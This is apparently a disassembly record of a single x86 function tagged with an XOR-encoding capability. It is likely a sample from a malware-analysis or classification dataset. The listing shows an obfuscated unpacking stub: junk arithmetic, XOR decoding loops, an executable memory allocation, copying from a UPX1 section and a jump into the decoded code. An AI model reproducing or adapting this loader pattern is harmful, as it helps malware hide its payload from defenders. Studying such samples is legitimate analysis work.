Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xbf0abf0f
sub edx, eax
not edx
popal
mov edx, 0x85cb91ca
add eax, 0xe4c5403b
mov edi, 0
mov ecx, ebx
mov esi, edx
mov edx, esi
mov eax, ecx
add edx, 0xb3a38954
not edx
dec edx
mov ebx, eax
inc esi
mov edx, 0x2d91972d
add esi, 0xc86766bf
add edi, 1
not edx
mov esi, edx
mov edx, 0xc8827900
cmp edi, 0x100b68c
jne 0xa789c7
or edx, esi
not edx
mov edx, 0xf87ea990
add edx, eax
mov edx, eax
mov ebx, 0xa78796
mov ecx, 0xcd00a59d
sub eax, edi
mov esi, 0xa7898a
and ecx, ecx
sub edi, eax
mov edx, dword [ebx]
sub ecx, 1
inc eax
or ecx, eax
and edx, 0xff
sub edi, 0xb20a2683
mov eax, ecx
xor dword [esi], edx
dec ecx
inc edi
inc esi
not edi
add ecx, 0x1df4ae8c
inc ebx
sub eax, edi
inc eax
sub eax, 0x3d245b06
cmp esi, entry0
jl 0xa78a23
dec edi
inc edi
dec eax
inc edi
add ecx, 0x3534430b
not edx
add esi, 0xfc2345a6
sub ecx, 0x52e84b25
mov edi, 0xa7898e
add edx, 0x367404bc
sub edx, 0x191ccc8e
mov edi, dword [edi]
sub ecx, 0x8640578d
add esi, edx
or ebx, esi
mov edi, dword [edi]
and ecx, ecx
not esi
push edi
mov esi, 0x1c908d09
inc edx
add edx, ebx
mov edi, 0xa7898a
not esi
add ebx, 0x10d70ddd
or esi, ebx
mov edi, dword [edi]
add edx, 0xd02d0be3
or esi, edx
and ecx, edx
mov edi, dword [edi]
add edx, edx
mov edx, 0x52dcbfec
add edx, 1
push 0xa78992
inc edx
sub esi, 0x56dcfb1d
call edi
add ecx, 1
or ebx, ebx
mov edx, ecx
mov edi, dword [esp]
add esp, 4
not ecx
mov ebx, 0x33aa46e8
add ebx, 0xb0a29947
sub esp, 4
mov dword [esp], 0xa7899f
sub ebx, 0x60bca036
mov esi, ecx
push eax
sub edx, 0x18d38b4c
sub ecx, 0x15917734
not edx
call edi
dec edx
sub edx, 0x766012fe
sub esp, 4
mov dword [esp], 0x40
sub ebx, ecx
add ebx, 0x3b6a87cf
mov ecx, 0x6520dab1
push 0x3000
sub esi, ecx
mov edx, ebx
add ebx, ebx
push 0x20000cc1
sub esi, 1
not esi
push 0
dec edx
or esi, edx
mov ebx, edx
call eax
mov edx, 0x7e9f1539
mov ecx, 0xb1ba9dc3
dec esi
add eax, 0x20000c03
sub esi, 0xe61b6bd5
and ecx, edx
mov edi, 0xb1a542b9
add edx, 0x6c497194
and esi, edx
mov dword [eax], edi
or ecx, esi
mov ebx, ecx
mov edi, dword [eax]
sub ebx, 0xc61a5ad3
inc esi
cmp edi, 0xb1a542b9
je 0xa78ba1
mov ebx, 0
mov edx, dword [ebx]
sub edx, esi
or esi, edx
dec ecx
add ebx, 0xbfc34d44
add esi, ecx
mov eax, 0xdc043acd
sub eax, 0x8e1941dc
mov esi, section.UPX1
sub edx, eax
and edx, edx
mov ecx, 0xa78795
not eax
and eax, eax
sub edx, eax
mov ebx, 0
add eax, eax
inc eax
mov edi, 0xa78796
add eax, edx
mov edx, 0xe6928868
lea edi, [edi + ebx]
dec eax
dec edx
mov eax, edx
mov edi, dword [edi]
mov edx, 0x1bb04b18
add eax, 0x66d3606c
and edi, 0xff
add eax, 1
and eax, eax
inc ebx
mov edx, eax
and edx, eax
add edx, 0xee209639
cmp ebx, 0x1f4
jne 0xa78c1b
mov ebx, 0
and edx, eax
not eax
inc edx
or edx, eax
add eax, edx
sub edx, 0x39ec14cd
xor dword [esi], edi
add edx, 0xf26e8386
mov eax, 0x865f48ac
add esi, 2
mov edx, 0xe202b4aa
mov eax, 0xf617f963
mov edx, 0xbd7aa625
cmp esi, ecx
jl 0xa78bd5
sub eax, 0x453745d
add eax, eax
add eax, eax
mov eax, edx
mov ecx, section.UPX1
mov edx, 0x56de9419
dec eax
mov esi, section.UPX1
mov eax, 0x214627e2
add edx, 0xe2df5f04
mov edi, 0xa78795
sub edx, eax
add edx, 0xba882949
not eax
mov ebx, 0
mov edx, 0xc6e4561d
mov edx, eax
mov bl, byte [esi]
add edx, edx
sub eax, 1
or edx, eax
mov byte [ecx], bl
add edx, 0xe7a6c2d4
inc edx
mov eax, 0xe075aff4
inc ecx
sub edx, 0x39a49084
add eax, 0x9b9f2a07
add esi, 2
mov edx, 0x80a1f16e
inc eax
cmp esi, edi
jle 0xa78c96
mov eax, 0x4e03fd55
inc edx
add edx, 0x679abfbe
sub eax, 1
or eax, edx
push 0x8dc6a0
not eax
add eax, eax
ret